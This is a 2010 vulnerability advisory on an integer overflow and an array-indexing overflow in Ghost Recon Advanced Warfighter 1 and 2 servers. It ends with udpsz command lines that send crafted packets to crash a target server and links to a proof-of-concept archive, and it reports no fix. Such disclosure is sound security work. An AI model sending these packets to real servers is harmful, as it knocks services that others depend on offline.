108 lines
No EOL
2.6 KiB
Text
108 lines
No EOL
2.6 KiB
Text
Source:
|
|
http://aluigi.org/adv/grawful-adv.txt
|
|
|
|
#######################################################################
|
|
|
|
Luigi Auriemma
|
|
|
|
Applications: Ghost Recon Advanced Warfighter
|
|
Ghost Recon Advanced Warfighter 2
|
|
http://ghostrecon.us.ubi.com/graw2/
|
|
Versions: GRAW <= 1.35
|
|
GRAW2 <= 1.05
|
|
Platforms: Windows
|
|
Bugs: A] interger overflow
|
|
B] Array indexing overflow
|
|
Exploitation: remote, versus server
|
|
Date: 07 Jul 2010
|
|
Author: Luigi Auriemma
|
|
e-mail: aluigi@autistici.org
|
|
web: aluigi.org
|
|
|
|
|
|
#######################################################################
|
|
|
|
|
|
1) Introduction
|
|
2) Bugs
|
|
3) The Code
|
|
4) Fix
|
|
|
|
|
|
#######################################################################
|
|
|
|
===============
|
|
1) Introduction
|
|
===============
|
|
|
|
|
|
Ghost Recon Advanced Warfighter (GRAW) and its sequel (GRAW2) are two
|
|
well known games developed by GRIN (http://www.grin.se) and part of the
|
|
famous game series called Ghost Recon.
|
|
|
|
|
|
#######################################################################
|
|
|
|
=======
|
|
2) Bugs
|
|
=======
|
|
|
|
-------------------
|
|
A] integer overflow
|
|
-------------------
|
|
|
|
The games are affected by an integer overflow in a particular type of
|
|
packet that makes the following operations:
|
|
- takes the number from a 16 bit field (offset 4)
|
|
- multiplicates it by 1300
|
|
- takes the 32 bit number after it at offset 6
|
|
- substracts the first number from the second one
|
|
- checks if the result is bigger than the size of the packet (signed)
|
|
- performs a byte-per-byte copying on a heap buffer
|
|
|
|
|
|
--------------------------
|
|
B] Array indexing overflow
|
|
--------------------------
|
|
|
|
In some types of packets an 8bit value is used for accessing an array
|
|
used for internal operations (pointers and so on).
|
|
So through the setting of particular values for that 8bit field is
|
|
possible to crash the server during these internal operations.
|
|
|
|
|
|
In both the cases doesn't seem possible to have worst effects than
|
|
invalid memory accesses.
|
|
|
|
|
|
#######################################################################
|
|
|
|
===========
|
|
3) The Code
|
|
===========
|
|
|
|
|
|
http://aluigi.org/testz/udpsz.zip
|
|
or
|
|
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14286.zip (grawpoc.zip)
|
|
|
|
A]
|
|
udpsz -C "0100 13 0003 0000 ffffffff" -b 0x41 SERVER 16250 3000
|
|
|
|
B]
|
|
udpsz -C "0100 0d" -X 3 8 l 0 -l 50 -b 0x41 SERVER 16250 3000
|
|
or
|
|
udpsz -C "0100 0e" -X 3 8 l 0 -l 50 -b 0x41 SERVER 16250 3000
|
|
|
|
|
|
#######################################################################
|
|
|
|
======
|
|
4) Fix
|
|
======
|
|
|
|
|
|
No fix.
|
|
|
|
|
|
####################################################################### |